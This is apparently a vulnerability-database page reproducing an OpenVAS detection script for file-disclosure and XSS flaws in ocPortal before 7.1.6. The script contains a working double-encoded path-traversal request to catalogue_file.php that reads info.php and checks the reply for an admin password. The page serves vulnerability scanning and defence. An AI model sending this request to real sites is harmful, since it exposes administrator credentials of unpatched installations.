ocPortal Arbitrary File Disclosure and XSS Vulnerabilities
🗓️ 03 Apr 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType
openvas🔗 plugins.openvas.org👁 34 Views
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2012-1471 | 1 Oct 201223:55 | – | attackerkb | |
| CVE-2012-1470 | 1 Oct 201223:55 | – | attackerkb | |
| CVE-2012-1470 | 28 Mar 201200:00 | – | circl | |
| CVE-2012-1470 | 1 Oct 201223:00 | – | cve | |
| CVE-2012-1471 | 1 Oct 201223:00 | – | cve | |
| CVE-2012-1470 | 1 Oct 201223:00 | – | cvelist | |
| CVE-2012-1471 | 1 Oct 201223:00 | – | cvelist | |
| ocPortal 7.1.5 - 'code_editor.php' Multiple Cross-Site Scripting Vulnerabilities | 28 Mar 201200:00 | – | exploitdb | |
| EUVD-2012-1488 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2012-1489 | 7 Oct 202500:30 | – | euvd |
10
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103459");
script_cve_id("CVE-2012-1471", "CVE-2012-1470");
script_version("2024-06-27T05:05:29+0000");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("ocPortal Arbitrary File Disclosure and XSS Vulnerabilities");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52768");
script_xref(name:"URL", value:"http://ocportal.com/site/news/view/new-releases/ocportal-7-1-6-released.htm?filter=1%2C2%2C3%2C29%2C30");
script_xref(name:"URL", value:"http://ocportal.com/site/news/view/ocportal-security-update.htm");
script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23078");
script_tag(name:"last_modification", value:"2024-06-27 05:05:29 +0000 (Thu, 27 Jun 2024)");
script_tag(name:"creation_date", value:"2012-04-03 14:06:27 +0200 (Tue, 03 Apr 2012)");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"Updates are available. Please see the references for details.");
script_tag(name:"summary", value:"ocPortal is prone to multiple cross-site scripting vulnerabilities and
an arbitrary file-disclosure vulnerability because the application
fails to sufficiently sanitize user-supplied data.");
script_tag(name:"impact", value:"An attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected
site, steal cookie-based authentication credentials, and obtain
sensitive information.");
script_tag(name:"affected", value:"ocPortal versions prior to 7.1.6 are vulnerable.");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );
foreach dir( make_list_unique( "/ocportal", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
url = dir + "/index.php";
buf = http_get_cache( item:url, port:port );
if( "Powered by ocPortal" >< buf ) {
url = dir + "/site/catalogue_file.php?original_filename=1.txt&file=%252e%252e%252f%252e%252e%252finfo.php";
if( http_vuln_check( port:port, url:url, pattern:"admin_password" ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Jun 2024 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 25
EPSS0.02008